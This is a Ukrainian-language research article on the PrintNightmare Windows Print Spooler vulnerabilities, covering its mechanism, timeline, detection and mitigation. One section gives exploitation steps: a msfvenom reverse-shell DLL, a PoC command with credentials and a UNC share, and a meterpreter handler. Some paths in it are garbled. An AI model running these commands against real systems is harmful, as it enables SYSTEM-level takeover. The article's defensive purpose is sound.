Research / PrintNightmare (CVE-2021-1675 / CVE-2021-34527): RCE у Windows Print Spooler
RESEARCH
UA EN

PrintNightmare (CVE-2021-1675 / CVE-2021-34527): RCE у Windows Print Spooler

✍ di_yurich 📅 20.07.2026 👁 62

Огляд

У червні 2021 дослідники випадково злили на GitHub PoC для вразливості у Windows Print Spooler (служба spoolsv.exe). Вразливість дозволяла: непривілейований локальний користувач → SYSTEM, а в деяких конфігураціях — будь-який автентифікований мережевий користувач → RCE від SYSTEM.

Microsoft поспішно видала патч для CVE-2021-1675 (LPE), але PoC покривав інший, ненапатчений вектор — CVE-2021-34527 (RCE). Ця плутанина залишила тисячі систем відкритими ще тижні після "офіційного патчу".


Вразлива служба: Windows Print Spooler

spoolsv.exe — служба Windows, що керує принтерами. Запускається як SYSTEM на всіх Windows-системах (включно з DC).

Ключова функція: RpcAddPrinterDriverEx() — додає новий драйвер принтера. Не перевіряла права: будь-який автентифікований користувач міг додати DLL як "драйвер".

Нормальний потік:
  Адміністратор → RpcAddPrinterDriverEx() → завантажити DLL як SYSTEM

Exploit:
  Звичайний юзер → RpcAddPrinterDriverEx() → завантажити шкідливу DLL як SYSTEM

Технічні деталі

CVE-2021-1675 — Local Privilege Escalation

  • Локальний вектор атаки
  • Зловживання AddPrinterDriverEx з параметром APD_INSTALL_WARNED_DRIVER
  • Шлях до DLL вказується локально: C:\malicious\evil.dll
  • Результат: DLL завантажується від імені SYSTEM

CVE-2021-34527 — Remote Code Execution

  • Мережевий вектор (через SMB або named pipe)
  • Атакуючий вказує UNC-шлях: \attacker\share\evil.dll
  • Служба Spooler завантажує DLL з мережевої шари
  • Результат: RCE від SYSTEM без локального доступу

Чому DC особливо критичний

Domain Controller також запускає Print Spooler за замовчуванням. Будь-який доменний юзер → SYSTEM на DC → повний компроміс домену.


Хронологія

Дата Подія
2021-06-08 Microsoft патчує CVE-2021-1675 як LPE (оцінка: Important, не Critical)
2021-06-29 Дослідники QiAnXin помилково публікують PoC на GitHub, швидко видаляють
2021-06-30 PoC вже розтиражований, Microsoft присвоює CVE-2021-34527 для RCE-вектора
2021-07-01 CISA випускає екстрений Alert AA21-182A
2021-07-06 Microsoft випускає out-of-band патч для CVE-2021-34527
2021-07-07 Перші атаки ransomware-груп (Magniber, Vice Society) з використанням уразливості

Умови для успішної атаки

LPE (CVE-2021-1675)

  • Локальний доступ до системи (будь-який user)
  • Print Spooler запущений

RCE (CVE-2021-34527)

  • Мережевий доступ + доменна автентифікація
  • Print Spooler запущений
  • SMB-підключення дозволено (445/TCP)
  • Ціль може підключитись до SMB-шарі атакуючого (або файл доступний інакше)

Exploit: кроки (LPE, для розуміння)

# 1. Підготувати шкідливу DLL (msfvenom або власна)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f dll -o evil.dll

# 2. Розмістити DLL у доступному місці
Copy-Item evil.dll C:\Windows\System32\spool\driversd
# 3. Запустити PoC (наприклад, cube0x0/CVE-2021-1675)
python3 CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\192.168.1.1\smb?ddCube.dll'

# 4. Отримати SYSTEM shell
msf > use exploit/multi/handler
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp

Виявлення

Event Logs

Event ID 808 — Print Spooler: завантаження нового драйвера
Event ID 316 — завантаження kernel driver

Шукай незвичні DLL-шляхи у C:\Windows\System32\spool\drivers\.

PowerShell — перевірка статусу Spooler

Get-Service -Name Spooler
# або через WMI
Get-WmiObject Win32_Service -Filter "Name='Spooler'"

Sysmon

Event ID 7 — ImageLoaded (DLL завантажена в spoolsv.exe)
Event ID 1 — ProcessCreate (дочірній процес від spoolsv.exe)

Mitigation та Захист

Терміновий workaround (якщо патч неможливий)

# Зупинити і вимкнути Print Spooler
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled

Важливо: на контролері домену Print Spooler не потрібен для більшості організацій.

Обмежити Point and Print

Group Policy:
Computer Configuration → Administrative Templates →
Printers → Point and Print Restrictions
→ Enabled, "Users can only point and print to these servers"

Застосувати патч

  • KB5004945 (Windows 10/Server 2019)
  • KB5004946, KB5004947... (відповідно до версії ОС)

Вплив та уроки

Постраждалі: всі Windows-системи з увімкненим Print Spooler — практично кожна корпоративна мережа.

Чому це важливо для захисників:

  1. Принцип мінімальних сервісів: Print Spooler на DC — архітектурна помилка. Вимикай все, що не потрібно.
  2. Патчинг vs workaround: коли патч недоступний — workaround (вимкнення служби) є прийнятним рішенням.
  3. Моніторинг spool-директорії: нові DLL у C:\Windows\System32\spool\drivers\ — підозрілий сигнал.
  4. Швидкість реакції: від публікації PoC до перших атак пройшло < 7 днів.

Посилання

Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?